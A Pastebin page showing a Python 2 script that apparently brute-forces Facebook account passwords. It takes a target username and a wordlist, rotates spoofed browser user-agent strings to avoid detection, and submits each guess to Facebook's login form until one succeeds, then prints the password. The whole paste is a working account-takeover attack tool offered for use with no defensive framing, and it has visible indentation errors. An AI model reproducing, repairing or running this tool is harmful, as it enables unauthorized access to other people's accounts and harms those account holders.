SHARE
TWEET

file.py

a guest Mar 20th, 2017 88 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import re
  2. import os
  3. import sys
  4. import random
  5. import warnings
  6. import time
  7. import mechanize
  8. import cookielib
  9.  
  10.  
  11.  
  12. verbose     = False
  13. useproxy    = False
  14. usepassproxy    = False
  15. log     = 'fbbruteforcer.log'
  16. success = 'https://www.facebook.com/?stype=lo&jlou=Afef5xN4CaPr-GP2fXivYCHNoxCidq13YpHbEw7hBNuC13t6NVCO5M3KkOPTq2RyYi86L2IptS3GkygvXGSTv2zn&smuh=36195&lh=Ac-Tln8Yry8q-2Ge'
  17. #success     = 'http://www.facebook.com/?sk=messages&ref=mb'
  18. fblogin     = 'https://login.facebook.com/login.php?login_attempt=1'
  19. # some cheating ..
  20. ouruseragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  21.         'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  22.         'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  23.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  24.             'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  25.             'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  26.             'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  27.             'Opera/8.00 (Windows NT 5.1; U; en)',
  28.         'amaya/9.51 libwww/5.4.0',
  29.         'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  30.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  31.         'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  32.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  33.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  34.         'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  35.         ]
  36.  
  37.  
  38. option          = '''
  39. Usage  : %s [options]
  40. Option : -u, --username     <username>        |   User for bruteforcing
  41.          -w, --wordlist     <filename>        |   Wordlist used for bruteforcing
  42.          -v, --verbose              |   Set %s will be verbose
  43.          
  44.  
  45. P.S : add "&" to run in the background
  46. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  47. usage         = '''
  48. Usage : %s [option]
  49.     -h or --help for get help
  50.     ''' % sys.argv[0]
  51.  
  52. def helpme():
  53.     print option
  54.    
  55.  
  56. def help():
  57.     print usage
  58.  
  59.  
  60. for arg in sys.argv:
  61.     try:
  62.         if arg.lower() == '-u' or arg.lower() == '--user':
  63.             username = sys.argv[int(sys.argv[1:].index(arg))+2]
  64.         elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  65.             wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  66.         elif arg.lower() == '-v' or arg.lower() == '--verbose':
  67.             verbose = True
  68.         elif arg.lower() == '-h' or arg.lower() == '--help':
  69.             helpme()
  70.         elif len(sys.argv) <= 1:
  71.             help()
  72.     except IOError:
  73.         helpme()
  74.     except NameError:
  75.         helpme()
  76.     except IndexError:
  77.         helpme()
  78.  
  79. def bruteforce(word):
  80.     try:
  81.         sys.stdout.write("\r[*] Trying %s...                    " % word)
  82.         sys.stdout.flush()
  83.         br.addheaders = [('User-agent', random.choice(ouruseragent))]
  84.         opensite = br.open(fblogin)
  85.         br.select_form(nr=0)
  86.         br.form['email'] = username
  87.         br.form['pass'] = word
  88.         br.submit()
  89.         response = br.response().read()
  90.     print response
  91.         if verbose:
  92.             print response
  93.         if success in response:
  94.             print "\n\n[*] Logging in success..."
  95.             print "[*] Username : %s" % (username)
  96.             print "[*] Password : %s\n" % (word)
  97.             sys.exit(1)
  98.     except KeyboardInterrupt:
  99.         print "\n[*] Exiting program...\n"
  100.         sys.exit(1)
  101.    
  102.  
  103. def releaser():
  104.     global word
  105.     for word in words:
  106.         bruteforce(word.replace("\n",""))
  107.  
  108. def main():
  109.     global br
  110.     global words
  111.     try:
  112.         br = mechanize.Browser()
  113.         cj = cookielib.LWPCookieJar()
  114.         br.set_cookiejar(cj)
  115.         br.set_handle_equiv(True)
  116.         br.set_handle_gzip(True)
  117.         br.set_handle_redirect(True)
  118.         br.set_handle_referer(True)
  119.         br.set_handle_robots(False)
  120.         br.set_debug_http(False)
  121.         br.set_debug_redirects(False)
  122.         br.set_debug_redirects(False)
  123.         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  124.         if verbose:
  125.             br.set_debug_http(True)
  126.             br.set_debug_redirects(True)
  127.             br.set_debug_redirects(True)
  128.       except KeyboardInterrupt:
  129.         print "\n[*] Exiting program...\n"
  130.     try:
  131.         preventstrokes = open(wordlist, "r")
  132.         words          = preventstrokes.readlines()
  133.         count          = 0
  134.         while count < len(words):
  135.             words[count] = words[count].strip()
  136.             count += 1
  137.     except IOError:
  138.         print "\n[*] Error: Check your wordlist path\n"
  139.         sys.exit(1)
  140.     except NameError:
  141.         help()
  142.     except KeyboardInterrupt:
  143.         print "\n[*] Exiting program...\n"
  144.         sys.exit(1)
  145.     try:
  146.         print "\n[*] Starting attack at %s" % time.strftime("%X")
  147.         print "[*] Account %s" % (username)
  148.         print "[*] Loaded :",len(words),"words"
  149.         print "[*] Bruteforcing, please wait..."
  150.        
  151.  
  152.     except KeyboardInterrupt:
  153.         print "\n[*] Exiting program...\n"
  154.         sys.exit(1)
  155.     try:
  156.         releaser()
  157.         bruteforce(word)
  158.     except NameError:
  159.         helpme()
  160.  
  161. if __name__ == '__main__':
  162.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top